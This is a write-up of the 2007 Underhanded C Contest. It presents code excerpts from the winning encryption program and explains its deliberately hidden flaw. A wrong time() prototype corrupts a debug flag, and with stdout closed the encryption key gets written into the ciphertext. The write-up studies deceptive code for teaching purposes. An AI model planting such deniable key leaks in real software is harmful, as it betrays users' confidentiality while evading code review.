2007

 

This year’s challenge: weak encryption

The object of this year’s contest: write a short, simple C program that encrypts/decrypts a file, given a password on the command line. Don’t implement your own cipher, but use a bog-standard strong cipher from a widely available library. An example usage might be something like:

% gcc -o cryptacular obviouslyinnocentprogram.c -lcrypto

% cryptacular -e passphrase < bigfile.mp3 > ciphertext

% cryptacular -d passphrase < ciphertext > plaintext.mp3

Your challenge: write the code so that some small fraction of the time (between 1% and 0.01% of files, on average) the encrypted file is weak and can be cracked by an adversary without the password. The poorly encrypted file must still decrypt properly by your own software.

“Cracked” can mean that it is susceptible to brute force in short time, though it must be short enough that we can verify it. Or it could mean that the file is trivially obfuscated.

Scoring, and Extra Points

Extra points were handed out for the following reasons:

Winners for the Third Underhanded C Contest

All submissions below are innocent under syntax coloring, survive compiler warnings, and are plausibly deniable as mistakes if or when they are found.

We also awarded extra points if the weak ciphertext was easily extracted, and if the weakness was nonobvious. One submission had both: a weak text that can be easily decrypted, with the weakness relatively well concealed to someone inspecting a weak output.

Runners Up

And the winner: Emmanuel Colbus

This was a big program, and big programs get fewer points—you can hide more evil in more lines. However, the bug is a real winner, caused by an interaction of several mistakes. I’ve cut out most of the code, except for the evil parts:



extern time_t time(void);

        […]

int main(int argc, char* argv[]){
        uname(&node);
        before = time();

        […]
        if (debug == 0){
                close(0);
                close(1);
                close(2);
        }
        […]
        fd_source = open(argv[optind+1], O_RDONLY);
        fd_dest = creat(argv[optind+2], 0600);
        if ((fd_source < 0) || (fd_dest < 0))
                return 1;

        /* Serious stuff starts here... */
        handle_header();
        do_the_work();
        if (encipher)
                add_random_stuff(argv[optind+2]);

        […]

        debugger(&decipher, “decipher”);
        debugger(&encipher, “encipher”);
        debugger(&debug, “debug”);

        after = time();
        if ((debug == 1) && (encipher == 1))
                printf(”Node %s (%s) enciphered %d bytes with key %s in %ds.n”,
                        node.nodename, node.machine,
                        (int)global_size, argv[optind], (int)(after - before));
        return 0;
}

Due to an incorrect prototype of time_t time(time_t *tloc), time() is called without an argument. The next item on the stack is assumed to be a time_t pointer, and stuffed with an integer number of seconds. This smashes the 1-byte debug flag with time()&0xff, basically turning on debugging mode (1/256) of the time—dumping the encryption key on stdout. Note that time() is called twice, in the most obvious possible usage, to maximize its apparent innocence. It is probably the most innocent-looking part of the code.

But wait, the program doesn’t use stdout except for debugging information. So if debugging is off, it closes those channels for good measure:



        if (debug == 0){
                close(0);
                close(1);
                close(2);
        }
        […]

        fd_source = open(argv[optind+1], O_RDONLY);
        fd_dest = creat(argv[optind+2], 0600);

This causes printf() to write into the ciphertext file instead.

Here’s what it looks like when the number of seconds from 1970 is congruent to
1 mod 256:



$  ./BlowCiph-X1 -e mykey plain.txt cipher.txt
$  cat cipher.txt

T,??z5#??`?}???bh?Node scott-cravers-macbook-air.local (i386) enciphered 12 bytes with key mykey in 0s.
Z1f_fQ?B?|bju??#Kf????~??
 ֬̀գ??;???????pl???H?A7g??+Xf?')?;_??+?V7?ɜ??-??%???ü?3M??:?Um?????>a???_1%=?*8{??-??(֛g???v`cp?????
[mountains of garbage]


Note the random garbage added at the end, to bury the debugging information in the middle. How does the chaff appear after the debug information? A kludgy implementation of add_random_stuff() uses a system() invocation:



static char cmd_format[] = "dd if=/dev/urandom bs=`echo $RANDOM` count=1 >> %s 2>/dev/null";
#define SIZEOF_CMD              (sizeof(cmd_format) + PATH_MAX + 1)
static char cmd[SIZEOF_CMD];
static void add_random_stuff(char* file_name){
        sprintf(cmd, cmd_format, file_name);
        system(cmd);
}

This causes the chaff to be appended after the file closes.

This is a beautifully spiteful bug. Note that it is concealed in debugging code, without which everything would work fine. Moreover, it vanishes whenever debugging is turned on.